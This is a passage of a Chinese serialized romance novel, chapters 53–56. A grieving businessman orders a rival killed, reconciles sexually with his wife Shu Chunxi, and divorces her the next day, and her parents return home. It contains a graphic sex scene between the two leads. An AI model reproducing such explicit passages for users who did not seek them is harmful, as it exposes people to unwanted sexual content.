但真的看见敬渝如今这一脸灰败死寂、仿佛再也没有一丁点生气的样子,他还是心惊肉跳,将头低得更狠,装作没看见什么的样子,走过去附耳同他说话。 听完郑徽的话,敬渝原本半闭着的双眼忽得掀起眼皮,里面黑黝黝的眸子转动了一下,搅动着底下那些隐秘的情绪,仿佛从心脏到血管经络里面,方才那种压制不下去的燥意就又已经回笼了。 “那就直接弄死郑明波不就行了!” 男人克制不住,双手握住沙发把手攥得出奇用力,眸子里闪起幽暗炙热的光,飞快地吼叫了一声,而后伸手拽住郑徽的衣领,与他一分不错的对视,带着不容置疑的强势,说: “先把我岳父母接出来狱外监禁,然后把那些不配合的人都给按死,我要立刻替舒家人平反,这很难做到吗?!” 郑徽颤动着的眼睫抖动了一下,不欲在敬渝发火的当头反驳他,只得紧闭着双唇。 但他没等到敬渝冷静下来、做出一个更妥帖的决断,反而眼睁睁看着男人走到书桌底下,拿起他的笔记本,用笔在名单上面划掉了郑明波的名字。 “就这么干吧,是他先背叛我们的,” 手背在身后,敬渝目光阴郁地落在那页纸上, “还有祝郧阳,你让祝正扬管好自己的儿子,不然我也不知道我会干出什么来。” 郑徽觉得现在的敬渝更可怕了,他干巴巴地张了张嘴,不知道该说点什么。 自己只不过是带来了点郑明波跟祝郧阳勾结的疑似证据,他就直接下了决断要把苗给掐死,根本就不是他平常的作风。 他们已经等了整整两年,已经谨慎地谋划这件事这么久了,不应该在这个当头忽然加快进程、节外生枝的。 郑徽清楚敬渝一直以来遭受的煎熬,也明白他在筹划这件事的时候,一直在尽量不触及他自己的底线。 但现在,他眼睁睁看着敬渝就这样失去了理智。 可他不能让敬渝就这样为了舒家的事情被拉下水。 郑徽知道自己现在说什么都没有用了,他应下,而后退出书房,站在走廊上拨通唐廪的电话,压着声音有点崩溃地说: “老板疯了,他说叫我们做掉那位。” 而身后的书房里又传来噼里啪啦扫书的声音,郑徽双肩一耸,有点担忧地说: “要不然……我去找太太?” 。 舒纯熙自从敬渝走后,就在床上坐着,不知何时她又起身到了窗边,本想看雨,却看见一个冲进雨幕的身影。 说实话,确实令人心惊肉跳。 她揪着衣角,有点不知所措地站在那儿,心里只有一阵烦躁和负气。 她跟敬渝认识这么多年,从来就没见过他这个样子,也难以想象他也会崩溃,他的世界和认知也会有坍塌的一天。 这种感受有点奇怪,蔓延在心底,甚至让她都忘了令他如此的正是自己的事。 他们的感知好像有时差,等到他走到这里的时候,她都已经走得更远了,回过头来看他的样子,反而好像是彻头彻尾的局外人。 第53章 这一天里本就没有阳光,从光线明暗也绝分不出是白天还是黑夜。 总之不知何时,当敬渝坐回那张沙发上,侧头看着外面的雨势时,维持了这个动作不知多久的时候,他书房的门忽然从外面被打开了。 没多久,舒纯熙的身影走过来,似乎也没怎么关心这一室狼藉,而是将目光落在他贴在肌肤上的、已经干得差不多的衣服上,皱起眉头。 敬渝用一种称得上是“怯懦”的态度,抬头飞快瞄了她一眼,像是做错事的小孩子,将两只手给并在一起放好,然后垂首,扯起嘴角,用尽量平静温和的声音问她: “你怎么来了?” 站在他身旁的女人没好气地哼了一声,转过身,淡淡地说: “起来,跟我回房。” 敬渝愣怔了一下,眼看着舒纯熙已经出了房门,顾不得思考更多,就站起身来,追上去亦步亦趋地回了卧室。 进了卧室,舒纯熙动作十分自然地锁了门,然后盯着呆站在自己旁边的敬渝,伸手把他朝卫生间的方向推了一把,说: “去洗澡,洗澡你会吧?” “啊?奥。” 敬渝揉了揉眼睛,转身就进了洗手间,脑袋里好像就只有舒纯熙的指令。 于是他走到浴室里,将自己一身脏污的衣服给脱掉扔进脏衣篓里面,然后打开花洒,开始给自己洗澡。 舒纯熙坐在床尾,双腿紧紧并在一块儿,两只胳膊抻在两侧,眉心紧蹙,连带着心跳都有点纷乱无章地加快着。 耳边的水声既像是外面的雨声,也像是洗手间里的流水声。 漫无目的地想七想八了一会儿,她才想起来自己好像没有给敬渝拿换洗的衣物,她不是让他回来换身衣服的吗? 好像总算有点事可以做了,舒纯熙站起身来准备去衣帽间,但洗手间的门已经打开了。 慢吞吞走出来的男人腰间围了一条大浴巾,揉着脑袋上的干毛巾,眼神有点不自然地扫了她一眼,默默说: “我忘了拿衣服了。” 说完,他进了衣帽间,还顺便关上了门。 在外边站起身的女人没了能干的事情,也就站在床尾,干巴巴地揪着自己的手指。 等到敬渝换好了一身清爽干净的家居服走出来,舒纯熙还是很快看见他因遇水而裂开的手背,上面蜿蜒着破开的鲜红伤口,惊心动魄。 脚不自觉地就朝他走了过去,到了跟前拿起他的手,仔细看了一 下,女人心里生出了一种不是滋味的感受。 这伤怎么弄的,她也能猜得到。 甚至她觉得,若是敬亭还在,敬渝不会像现在这样,正是因为敬亭死了,一了百了了,敬渝就是想找他算账也没有任何办法。 所以气也就只能憋在心里面了。 她并没有那种需要另一个男人替自己教训敬亭的情节,那让她觉得浑身不适,但是看着敬渝这样,不得不承认,她的心中升起了一股很复杂难言的情绪。 长久以来,她都在混沌迷蒙的情绪里行走着,可此时此刻的这种情绪不属于她所认知的任何一种情绪,就像是一片暗黑沼泽地里生长出来的野蕨菜,这棵苗不属于这里,但它却坚韧地拔地而起了。 女人放下男人僵硬无比的双手,抬手揽住他直挺的脖颈,踮起脚使力。 而原本愣怔着任她摆布的男人总算动弹了一下,弯下脖子,好让她不用太费力。 他也不知道自己要做什么,只知道顺从身前女人的意思,下意识就低下了头来。 唇被另一个人柔软的唇瓣印上,女人用她小巧坚硬的牙齿轻咬着他的唇瓣,将他的嘴巴掀开,然后探进来。 敬渝胸膛里的怒火其实根本就没有消失,只是被他用一层又一层厚重的油布给盖住,但他也不知道什么时候会被彻底点燃,只不过在表面上,他至少看起来是很正常很冷静了。 可此时此刻,舒纯熙吻起他的这一刻开始,他知道胸膛里面流淌的血液又开始逐渐奔腾了起来。 可这并不是先前的那种怒火又被唤醒了,而是从血**隙里又重生了一种新的情绪,如同快速生长的竹笋般窜头,迅猛得将他整个人妥帖地包裹住,唤醒了一种全新的感受。 他急躁起来,不可再忍耐压制了,大脑里又如同断了缰绳的野马一样奔腾了起来。 男人伸手将身前的女人给搂进怀里,与她额头相触面贴着面,一丝不错、你来我往地拥吻起来。 一改往日温柔,敬渝强势霸道地将他的主动权给彻底夺了回来,拦腰把舒纯熙给抱起来往床边走,然后把人给放在床中央。 做完这一切,脑子里的理智才总算战胜了那股子不知所云的情绪,他又抱着舒纯熙的上半身将她扶起来,小心翼翼地拥在怀里,丝毫没有要继续的意思,戛然而止。 被拥着的女人有点懵地睁开双眼,很快变成了横眉冷对,打开他的手,漠然地说: “你什么意思啊?” 被骂了的人有点心虚地嚅动着嘴唇,其实他已然到了极力忍耐的尽头,但理智的紧箍总算还是将他没有变成欲望的野兽。 他的心里确实是有无边怒火亟待解决,如今他也不知道该怎么将这些火给扑灭。 但她到来了。 她愿意用这种方式抚慰他这头到处乱撞的野兽。 可他却不能纵容自己接受,他也没有底气和脸面去接受。 如果是这样,他与曾经粗鲁强迫般对待她的敬亭又有何异? 纯熙待他至纯至善,犹如天使恩赐般有着最大的宽和包容。 而他呢,在心中思绪无法成功自恰的情况下,胆敢贸然享受她的抚慰吗? 男人颤抖着手臂,低头亲了亲舒纯熙的额头,沉着声音,无比艰难地说: “我真的可以么?纯熙,我真的能吗?” 他真的可以拥有她吗?她是心甘情愿接受他的吗?他真的配拥有这一切吗? 舒纯熙垂下眼眸,轻叹了一口气,心中升起来一种不知道该怎么描述的感受。 光是这一点,他就已经比敬亭强了不知多少倍了。 “可以,这次我不耍你玩了,” 鼻子有点酸,女人没有看他,只是低声说, “我想要你,敬渝。” 敬渝心中的那根弦应声而断,他有些短促地呼吸着,气息扑在舒纯熙面颊上面,压着她慢慢躺下去。 吻她所有裸露在外面的皮肤,然后在一阵慌乱中褪下彼此的衣服。 始终身下的女人没什么表情,但微微闭紧的双眼,还有双颊染上的些许红色,还是昭示着她的羞赧。 敬渝也有点害羞,尤其是当前面这些都做完之后,他竟然大脑空白不知道自己接下来该干什么了。 之前书房那次后,他暗地里还找了本相关书籍和几部电影看了下,就是怕这天不知道什么时候会到来,他也不想横冲直撞唐突了舒纯熙。 但是真到了此时此刻,他发现心中愈发昂扬的情绪帮不了自己半分,只会让他面对她美好的身体越发情怯,不敢弄伤她。 舒纯熙难耐地睁开双眼,对上男人闪着幽暗火苗直勾勾的眼神,伸出手将他脖子朝自己一拽,八爪鱼一般扒到了他身上,转为坐姿。 她是有心教他,但自己也实在是扯不下脸皮来主动朝他张/开/双/腿,只能像眼前这样了。 两个人的气息无比急促,胡乱地交叠在一起,舒纯熙蹙着眉头,双臂揽着他的肩背,配合着他的动作,缓慢地往下坐。 她也已经许久没有性/生活了,更何况她难得还在这件事上占据些主动权,饶是如此,最后她还是吃痛地低叫一声,一巴掌打在敬渝肩背上。 随着男人身体的一哆嗦,什么东西迸在肌肤之间,两个人粗/喘着气,而后,结束了。 等舒纯熙反应过来的时候,敬渝的脸色已经涨红成了猪肝色,一张俊脸看上去饱受摧残,也不知道是羞愧难当,还是依旧在憋气。 他还有心思摸摸舒纯熙的头发,压着嗓子说了句: “我,我先去下洗手间,等会回来帮你清理。” 说完,男人退下床,有点僵硬地走进了洗手间。 舒纯熙眨巴了两下自己的双睫,用一只手的手背抚了抚自己异常高温的双颊。然后探身将床尾的纸巾抽了几张,将自己的身体擦了擦。 略迟疑了一下,她爬下床,踩过地上自己的衣服,去衣帽间里挑了件鲜红色的睡袍披在身上,然后向前走,打开了洗手间的门。 敬渝背对着门,正在拨弄自己的身体。 现在他心中倒是被一种难以言喻的心思给占据得满满当当了。 他不知道自己要怎么去面对这件事,难不成,他要告诉舒纯熙,自己竟然不行么? 不是,但是他又为什么竟然不行啊? 敬渝有点崩溃,两边的嘴角压得紧紧地,简直到了无地自容的地步。 而身后门被轻轻推开的动静,更是令他羞愧地一震,垂下头,双手无力地扶着自己。 第54章 舒純熙走過去,看著渾身未著寸縷的敬渝,還是有很強烈的不適應感。 她深呼吸一口氣,走上前,將雙臂從他的窄腰旁穿過,從後攬住了他,偏頭將腦袋放在他光潔的後背上面。 然後,在男人克制的呼吸聲之中,兩隻手向下,揭開了他的手掌,輕輕撫摸了一下。 只是一下一下輕碰而已,立刻就彈起來打了她的手心一下。 舒纯熙狡黠地轻笑了一下,立刻就收回了手,转身朝外走。 敬渝压下呼吸,连忙转过身来,看见的便是一片艳红色的影,美得动人心魂,叫人心头发颤。 他追上去,当然没让她成功走到床上,一把将人拦腰抱起,在空中低抛了一下。 而后翻过她身,啄吻着她,掐着她的腰朝上送。 敬渝觉得他找来的那几部电影都没什么用。 他不可能将自己那脏东西毫无顾忌地塞到心爱的人嘴里,更不会叫她趴着背对着自己,所以他只能自己琢磨着来。 低头细细吻遍她全身,细致中带着虔诚,温柔得不像 话。 大概是舒纯熙有些满意的哼声给了他点鼓励。 他伸手撈起她腿彎來,張開嘴,在窗外電閃雷鳴的伴奏裡,湊在她耳邊確認她能聽得見自己的聲音。 他說: “純熙,腿再為我打開些,好嗎?” 敬渝的声音温润清雅,此时染上欲色,氤氲地沙哑了,听起来更为性感。 光是听在耳边,舒纯熙的腰就要软了。 这话有些露骨,偏偏他一本正经就好像恳求一样,女人迷迷糊糊地就应了他的话。 “纯熙好乖啊。” 男人没着急,俯下身又亲她的嘴巴。 她急着吃回去,就又听到他有些春风得意地笑道: “纯熙喜欢我的嘴巴吗?我好开心。” 此後,三淺一深,深入淺出,初出茅廬的男人漸漸尋到了點門道。 女人也在研磨之中徹底不再壓抑著呻/吟,顫著上半身將自己的感受用語調傳達出來。 男人的声音没停下过,发现新大陆一般新奇,却又找回了平日里的那种温柔稳重,饱含着爱意和鼓励地回应着她,赞叹着自己心爱的人。 “纯熙好软,好可爱……” “纯熙穿大红色好漂亮,好美,我移不开眼睛了……喜欢纯熙准备的新婚夜,我好感动好满足。” “纯熙的声音好好听,好喜欢。” “纯熙的柔韧性真好……唔……宝宝好棒。” “纯熙怎么这么会长?这里好漂亮好可爱,好白啊。” 敬渝每说一句话,舒纯熙脸上的红晕就更甚一分,她怎么知道这人一旦开荤上了道竟然会是这个样子,哪里还需要她教什么? 更何况……他才不是一股脑都把这些话给倒出来的,而是做完了什么,才凑在她耳边赞美似的给了反馈。 总而言之,言语上这方面,一向沉默寡言的敬渝竟然破天荒地很会,但他又能把这话说得认真无比,根本找不到什么挑逗的意思,全然都是真心话。 她就快被他哄得找不着北了,睁开眼也要羞死了。 “纯熙睁开眼睛看看老公好不好?” 他轻轻地咬她的肩头,慢吞吞地说。 于是舒纯熙只好睁开眼睛,看着身上好看得有点妖孽的男人,一滴汗水顺着鼻梁陡然低落在她眉心。 女人勾起唇角,不得不承认,今天晚上的体验很好。 好到让她有一种,如果舒家没有发生那件事,她跟敬渝照常结婚的话,他们的第一次也会是这样的感觉。 她喜欢在现在的生活里找过去的那种假设,然后像勤劳的仓鼠一样把那些东西填在心头的洞里面。 这种感觉,很实,将她的心压得沉甸甸,压得满满当当的。 她揽着敬渝的脖颈,抬起身亲了他一口,突然说: “喜欢……你。” 最后那个字发得极低,几近湮灭在天地的声音里,但敬渝还是捕捉到了一丝情绪,不可置信地动弹了一下身体,很快将这点异样压下去,将头埋在她肩窝,颤动着,用一种赎罪的语气哭了,瓮声瓮气地说: “对不起纯熙,都是我的错,都怪我,都怪我,我是王八蛋。你就骂我打我吧,只要你心里能好受一点,什么事我都愿意去做……” 女人顿了一下,没想到他们又绕回了这件事上,按下心中隐约的不适,舒纯熙叹了一口气,还是伸出一只手来,摸了摸他的脑袋,抚慰一般说: “我不怪你,小渝哥哥。” 她叫的这一声,更是令敬渝逐渐哭得不能自已。 两年了,他竟然还能听到他的纯熙真心实意地这么叫他一声,他何德何能? 心痛依旧难耐,男人含混地将脸擦干净,抱着她下了床去浴室。 花洒的水撒在身上,舒纯熙扶着敬渝的肩膀,享受着他替自己细致地擦洗。 男人从脸颊到耳廓都一片绯红,但依旧蹲在地上坚持帮她清洗。 舒纯熙站在有些朦胧的水雾里,看着身前的男人。 他好像不怎么健身,但是体力还行,上半身只有些许薄肌,是那种她很偏爱的瘦的类似竹节的男人,看上去很风雅很温润。 曾几何时,她也幻想过婚后定要他为自己弯腰低头,现如今,男人的头已经低的不能再低了,还是他主动执意如此。 敬渝的手终于落到最后一处。 房间里没有预备避孕套,虽然他们结婚了,但是没有人会犯两个人各自的忌讳,准备这种东西。 刚刚的两次,她不许他顾忌。 男人的指尖修长削瘦,透着不寻常的白皙,抬头有些不自然地说: “我,我帮你抠出来?” 他的手蜷了一下,这话实在是让人难以启齿。 舒纯熙感觉得到,站在浴室这一会儿,其实已经流走不少了,更何况…… 她抬手止住了敬渝朝自己伸过来的手,男人的动作是停下了,但他斟酌着开了口,说: “你,你可能会怀孕的。” 说出这话的时候,敬渝心里甚至藏了一丝探究的意味来,他不明了,但却不得不期待一件事……孩子。 她想要一个孩子吗? 而舒纯熙轻轻地开了口,对他说: “有件事我还没跟你说……我应该这辈子都不能再怀孕了,小渝哥哥。” 到了莫瑞恩尔之后,她身心俱疲,身体底子本就不好,之后在外力作用下掉了第一个孩子,没有修养好就出了严重的车祸。 她是不能够再生育了的。 敬渝的双肩颓废地垂了下去,喉头滚动,手中的花洒依旧冲着她的脚丫,然后默默站起来将水龙头关掉,把花洒放回原地,伸手拥住了舒纯熙。 两个人肌肤相贴,却没有半分欲/念侵染,敬渝深吸了一口气,不知道该说些什么。 他不敢安慰她,说什么可以调养可以试管,实在不行就去领养。 因为在此之前,还有一件事没有解决。 那就是为什么她会流掉那个孩子。 “先生带了外面的女人回来,太太很生气,从楼梯上摔下来,身下见了红,应该是流产了,原来太太已经怀孕了。” 那份文件上面就是这么短短一句话,区区五十个字而已,就已经足够令读的人心如刀割。 他不敢真的去想象那时候他们之间到底发生了什么,不敢去探寻舒纯熙彼时的心情和感受。 他不敢,只余心碎。 敬渝松开了她,低头在她肚子上亲了亲,压抑着周身骤冷的低气压,话很难成语调,只是说: “对不起,对不起。” 舒纯熙也摸了摸自己的肚子,那里柔软,曾经还有一个生命。 但并不是她所愿意期待的,可真当她怀上之后,她又立刻被夺走了它。 好像这件事情从头到尾,她就没有一点选择权一样。 她没打算跟敬渝在今天这样的日子一起悼念它的,她看得出来他现在的情绪其实糟透了,但是不敢流露出来影响到自己。 这很古怪,她没想要跟孩子的大伯抱在一起,去惋惜它的失去。 但是那时候,它的父亲也是这般小心翼翼地,他忏悔,他哭泣,他发誓,他在自己的面前做保证,发出任何一个背叛了的男人都会发出的狗叫。 舒纯熙觉得这样的情景有些重叠了,眼前这个浴室里弥漫着的情绪气息不是她喜欢的。 敬渝或许是有点不一样的,毕竟这是她从小喜欢的男生。 真实世界的婚姻感情可以乱七八糟、一地鸡毛,但他们曾经的那份情感永远诚挚、热烈,洁白无瑕,不染纤尘。 她在心里封锁住了那个理想化的恋情,以至于如今也在想办法找当年的影子。 他或许也是一样么? 舒纯熙不知道了。 她被敬渝用宽大的浴巾包裹,然后洗洗擦干净身上的每一粒水珠,他再将她抱到床上,与她相拥着睡去。 次日,舒纯熙侧躺在敬渝的臂弯之中,她一颤着醒过来,身后的敬渝便也醒了。 这是个稍稍有些不同的清晨,敬渝温柔地抚摸着她的腰,上半身朝她靠近,抱过来,缩在她身后,慢吞吞地说: “昨天晚上,你喜 欢么?” 舒纯熙缓缓回笼的意识被这个问题给捉住,她回想了一下昨天晚上在这张床上发生的事情。 她彻底接受了敬渝,容纳了他。 即使迟到了两年,但此时身后的男人就像是一份被打好了蝴蝶结的礼物,最终还是经由自己拆封,彻底成长为了一个男人。 二十七岁的处男么? 舒纯熙的嘴角隐约起了点笑意,不得不承认,自己心中还是颇为满意的。 她含糊地“嗯”了一声,然后深呼吸了一口气,平静地说: “敬渝,我们离婚吧。” 第55章 将她纳在整个胸膛臂弯里的男人一时之间没有动静,就连拥着她的动作也没有什么变化,两个人依旧那么亲密地贴在一处,像任何一对昨夜坦诚相待的爱侣那样。 没有人知道,在此之前,他们之中,一个固执地在推开,在坚守着她身体周遭竖起的尖刺篱笆;而另一个,在一条未知的看不见前方的路上禹禹独行,摸索着,试图抓住她。 现在,那块挡在尽头致使他看不清楚的挡板终于被撤走了,但等待着敬渝的,却并不是一轮高悬的耀阳,而是一片枯槁的荒草地。 他依旧迷茫,但万幸并非榆木,看得清楚挡在自己跟舒纯熙之间的究竟是什么,也在这个清晨明白了她的意思。 说来奇怪,敬渝跟舒纯熙的思维各有差异,有些时候说是有代沟也不为过,可唯独在某些时刻,依赖于一起长大的缘分,他从对她的了解里,能够捕捉到她的某些动机。 谁也没有去看谁的脸,两个人贴得很近,却只能从自己心里的揣度里去猜测彼此的态度和心思。 良久,舒纯熙又重复了一句, “我想,我们还是分开吧。” 昨夜很好,也算了她心事一桩。 至此,大抵所有的遗憾碎片都被她收集完毕了。 昔年往后,她回忆起来的时候,也会觉得在这个被命名为“敬渝”的方面上,自己还称得上是个“收藏家”。 她喜欢过他,还爱过,而他也回之以喜欢,回之以爱,她还睡过了他,确实圆满。 她想着,心跳一收一缩,平稳地在胸膛里跳动着。 身后的男人没有再过多犹豫了,沉着声,低低地应了一个字, “好。” 而后,他的手将她揽得更近,低头在她发顶极轻地落了一吻。 做完这个,敬渝没再问些俗套的话,例如“那昨夜算作什么”“那我怎么办”“你心里究竟有没有我”之类的问题。 男人松开她,先她一步下了床走进衣帽间,随便给自己找了一套衣服穿上,然后又斟酌地帮舒纯熙拿了一条长裙,还有袜子,走了出去。 手里捧着绸缎材质的柔软裙子,男人走到舒纯熙下床的那边床边,一只脚半跪下去,伸出手掌示意她过来。 而床上的女人迟疑着望着他,不明白他的意思。 “脚给我,我给你穿袜子。” 舒纯熙常年手脚冰凉,即使是夏天,在家的时候也是要穿袜子保暖的。 这他清楚,拿的是一条与粉紫色裙子能搭配的裸色丝质中袜。 “我不知道你今天想穿哪一条裙子,就自己选了一条,你看行吧,不行我再去换。” 男人捉住她脚踝,上手替她把袜子慢条斯理地抵上,然后用指尖将那层弹性面料拉上去,再将两边都整理好。 双腿跟床面形成一个三角形的女人狐疑地扫了一眼敬渝,看他的脸色已经恢复如常,看不出来什么额外的意思,蹙眉小声提醒了一句: “你干嘛啊?我不是说了吗,我们下午就去离婚。” 男人已经将她的袜子穿好,收回手的动作微微顿了一下,抿唇露出一点笑意,然后站起来,伸手去捞她,将她从床上抱下地,俯身去解她的睡袍。 “我知道,所以我想在你还是我老婆的这最后几个小时里,再对你好一点。” 睡袍里还有一条吊带裙,他示意她抬手,然后将她里面的衣服也给脱掉,俯身从床上捧起一件带着蕾丝的文胸,迟疑着往她身上比划。 舒纯熙翻了他一个白眼,觉得他主动帮自己穿衣服的这个行为很神经。 而男人确实有些尴尬地摸了摸鼻尖,说: “没事,学学就会了。” 奥,不对,以后也没得学了。 总之在舒纯熙的放水下,敬渝总算弄明白该怎么穿,顶着双颊的两片薄红将她转过身去,暗暗呼出一口气,指尖捏着左边的三排扣子跟右边的钩子,很好学地问了句: “我该挂哪一列?” 回应他的是女人没好气的白眼,虽然他看不见。 敬渝舔了下唇瓣,心一横,一个一个试起来,最后选了个自己觉得最合适的。 然后就是裙子,连衣裙好穿多了,他只用把衣服从舒纯熙的头上套下来,再帮她拉上右侧腋下的拉链就好了。 终于帮她穿完衣服,鼻尖生出一点薄汗的男人勾唇露出一个淡笑,好像完工了一件了不起的工事一样,抱了下她,再克制地松开,柔声说: “好了,去洗漱吧。” 距离下午也只有几个小时了,敬渝自然没有本事叫舒纯熙改变心意,不过,他也没有打算这么做。 两个人在民政局领了离婚证,回程的车却并没有开回敬宅,而是往从前舒宅的方向开着。 窗外的路越来越靠近舒纯熙记忆里的样子,她总算发现了不对劲,偏过头来疑惑地看了一眼敬渝,也只得到对方一个示意她安心的微笑。 过了一会儿,车在舒宅外面停下,敬渝先下去,而后舒纯熙才挪动了自己的脚步,跟他站到了一块儿。 “先前法拍的时候我买下来的,这房子如今在你的名下。” 敬渝从车上拿下来一个档案袋在手里,递给舒纯熙,语气温和地对她说: “你愿意住在这里的话,就回来住吧,我想过几天,舒伯父舒伯母也会回来住在这里,到时候你们一家可以团聚了。” 舒纯熙有点愣怔,傻傻地接过了他递过来的档案袋,双唇一抿,不知道该不该说点什么,最后还是眼皮子一抬,淡淡地低声说了声“谢谢”。 男人回之一笑,本想抬起来摸摸她头的手忽然停在半空之中,才意识到现在他已经不能对面前的人做这样的举动了。 于是手的方向一转,收回来摸了摸自己的脖颈。 他凝视着眼底下的女人,看她情绪平静,并无什么波澜,心里到底难言,始终不好开口。 如今看来,他借由先前那段婚姻的名义,冠冕堂皇地朝她靠近着的那些举动,想来都是自己占了名分的便宜。 而在一开始,她或许是并不真心愿意跟他结婚的吧。 那时候他们去监狱见她的父母,然后她出来时的脸色并不好。 现在他想,是不是那个时候,她就在心里希望着舒怀宁不要答应呢? 只不过,事实并未如她所愿。 所以那时候她嫁给自己,是为了舒家的事而做的妥协罢了。 而他,竟然还自我感动地觉得自己是为了照顾她跟她的孩子。 那时候她也不过刚从莫瑞恩尔回来,经历了丧子之痛,又遭遇了车祸,要她嫁给自己,又何尝不是逼迫呢? “这里的佣人和安保都安排好了,很安全。” 敬渝的手无力地蜷在腿侧,面上没有表现出过多的情绪,柔和地望着她,说: “那你……进去吧,再见。” 舒纯熙抬起眸子,在那几息的空当里留心观察了一下敬渝的表情,只见自己 这个前夫情绪淡淡,几乎没有任何波澜,守着礼貌跟规矩,没有再贸然跨进她的边界半分。 她勾唇对他露出一个客套的笑容,说: “好,再见。” 然后就转过身,踏进了大门内。 舒纯熙在舒家有一个属于自己的很宽敞的房间,阔别两年,重新收拾过的屋子跟离开时几乎没有变动。 回到这个地方,她仿佛又走进了那段无忧无虑的岁月。 遥想两年以前,从她离开这个地方,踏入别人家的门开始,就好像是开启了一段狂乱的海上漂流,有过短暂的落脚点,但始终没有一个称得上是“家”的地方。 终究难言唏嘘,心境已然不同了。 如今倦鸟归林,她原以为自己会睡一个好觉。 但其实并没有。 这一晚她坐在阳台的秋千上,将驱蚊的蚊香盘拿得离自己脚边更近,一边忍受着蚊子有可能的搅扰,一边跟心里面那股子萦绕不散的不宁思绪周旋。 她的心沉坠坠的,好像怎么都轻松不起来,而这种情绪产生的原因,甚至又让她不敢去细细探究,总之又因而升起点烦躁来。 望着天边闪耀着的群星与黑乎乎的夜空,她的脑海里面,竟然会忽然浮现起来那个人的脸来。 他高挺的鼻梁,两瓣很少说伤人的话的薄唇,半闭半开的桃花眼眸,偶尔会露在唇边的淡淡浅笑,带着明显的宠溺意味…… 舒纯熙突然锤了下自己的大腿,将思绪给拉回来。 她想起他干什么? 而且,他连挽留都没有,分得那么干脆,她还指望他什么? 打定了主意,她闭上眼睛开始假寐。 …… 回到舒宅的第三天,舒纯熙终于等回了自己的父亲母亲。 起先她不知道他们到达的具体时间,便在自己房间外的露台上眺望。 当几辆保姆车有序地在门口停下后,舒纯熙即刻就转身,从楼梯上飞奔着跑下来。 舒怀宁和杨曦已经进了门,旁边还有将近十个监狱和公安司的工作人员,已经陆续排开打算对舒宅进行大致上的勘探记录。 舒纯熙步伐里都透露着激动和欢快,仿佛隔着时空越跑越再往回倒带,终有一刻可以跑回到两年以前的某个时刻,跑回原来的那个热烈的她。 女人的脚步在楼梯末尾稳重下来,她走过去,发现敬渝也在,正静静地立在舒怀宁身后。 “纯熙!” 杨曦欣喜地叫她,然后将女人拥进怀里,甚至低头亲了一口她的脸颊。 旁边的舒怀宁也露出点难得的笑意,回头与身后的敬渝相视一笑。 母女里抱在一起说话,舒怀宁便示意敬渝跟自己走到一边,两个人在庭院边上停下脚步。 在来的路上,敬渝已经提了自己跟舒纯熙离婚的事情,但舒怀宁也清楚,他今时今日能站在这里,同敬渝的出力离不开关系。 “那,你和纯熙,你们两个……现在,又是什么情况呢?” 第56章 沉吟着,舒怀宁望了眼没看自己这边的女儿,问敬渝。 敬渝也在望客厅里的女人,见她难得露出些娇俏舒心的笑容,唇角也不自觉地跟着她翘起来,听到舒怀宁的问题,思虑了一会儿,对他说: “伯父,渝始终如一,全看纯熙的心意。” 舒怀宁偏过头打量了一眼敬渝,他在自己身边支着身子,站得并不笔直,但有种从容恣意的气场透露出来。 两年啦,他确实已经是独当一面的敬总了。 舒怀宁明面上笑了敬渝一声。 自己与他,本应该在他拒绝自己的算计时就没了这翁婿缘分。 可事实就是如此弄人,不过如今看他终究因为自己的掌上明珠,朝自己折腰低头的样子,竟然也是一派自然,丝毫没有不忿的样子,是老老实实地将自己当成岳丈在尊敬,看来已然自恰成了心甘情愿。 舒怀宁摇摇头,不再说话,朝着母女二人再度走过去。 待到舒纯熙跟父母都寒暄了一遍后,监狱的工作人员也上前来。 舒纯熙有些局促地望着他们,后退一步。 敬渝见状,眼疾手快地伸出手来扶了一下她的小臂,低声同她解释了一句: “别担心,公安司的人只是要给伯父伯母安上定位器……” 舒纯熙后知后觉地平静下来,扯出一个惨淡的笑容,同他点点头。 见她这样子,敬渝喉头滚动,又小声说了句: “没事的,可以居家监禁,就是离洗脱罪名不远了。” 身旁的女人这才被吸引了注意力,转过脸来盯着他看了好一会儿,“喔”了一声。 敬渝不知道自己脸上是不是有什么东西,值得她古怪地审视这么久,有点奇怪地摸了摸鼻梁,就看她已经移开了眼神。 待到屋内的一切都安排好之后,家里就只剩下自己人了,杨曦招呼着敬渝留下来吃晚饭,男人也很快应下。 到了晚餐的餐桌上,舒怀宁跟敬渝倒是有来有往地聊起政事来,同样有发言权的杨曦却没有开口,在餐桌底下踢了舒怀宁一脚,示意他不要一直薅着敬渝说这些。 舒怀宁这才讪讪地闭上了嘴巴。 但问题是,接下来的后半场,除了杨曦主动圆场外,被刻意制造了说话空间的敬渝反而真跟哑巴一样,压根就没有主动去看坐在对面的舒纯熙。 舒纯熙自然也不可能主动跟他搭话。 这顿饭,前段吃得平静,后段吃得寥落。 晚饭后,敬渝也就没有多待。 杨曦和舒怀宁执意将他送出门,被他推辞,舒怀宁便想回头去叫舒纯熙来送,而三个人朝着同一个方向去看,只见舒纯熙早就转身走了。 舒怀宁无奈地笑了笑,说了声“被惯坏了”。 敬渝不语,面上并未表露什么情绪,只是告辞。 。 舒纯熙几乎是负气回的房间,刻意不去送那人的。 “噔噔噔”拖鞋踩得极响,女人在床尾的沙发上“嘭通”一坐,双手抱胸,双唇嘟得老高。 就这样一个人生了好一会儿闷气,她才皱了下鼻子,反应过来自己在干什么。 她生他什么气? 敬渝现在不就是在好好做一个前任该干的一切吗? 忙,他帮了,甚至还妥帖地把她父母都给送回来了,在爸爸妈妈面前表现得礼貌恭敬,给足了她面子。 对于自己呢,保持着适当的距离,不该问的不问,不该操心的不操心。 她还有什么不满意的? 舒纯熙问自己。 就这样,女人从沙发上站起身来,然后叉着腰在房间里走来走去,试图寻找出来一个答案。 而阳台外已经是第四次传来一点古怪的声响了。 舒纯熙深呼吸一口气,耐着性子打开阳台的门,走出去查看到底哪儿来的声音。 月色下,她的阳台上躺着好几枚小石子,瞪大眼睛看的瞬间,还有一颗正从底下被抛上来。 舒纯熙睁大双眼,快步走到石头栏杆边上,俯身向下看去。 左手掌心里捧着一堆石子,右手指尖正捏起来一块准备继续往上面掷的男人停下动作,跟终于露出头来的女人对视上,眨了眨自己的眼睛,露出一丝好整以暇的笑来。 舒纯熙当然想不明白他为什么还没走,为什么去而复返还在往自己的房间外面扔石子。 她只知道在看到他冲自己笑的那张脸的瞬间,她心里的火苗立刻就蹿得更高了。 不知道哪里来的气,她立刻扭头转过身,蹲下去把他原来扔上来的那几个石子捡起来,然后走回栏杆边上,朝着黑夜里敬渝高高的身影,一块一块地扔了回去。 而底下的男人滑稽地躲避了起来,甚至在草坪上跳了几步。 没意思。 舒纯熙拍拍手上的灰尘,白了他一眼。 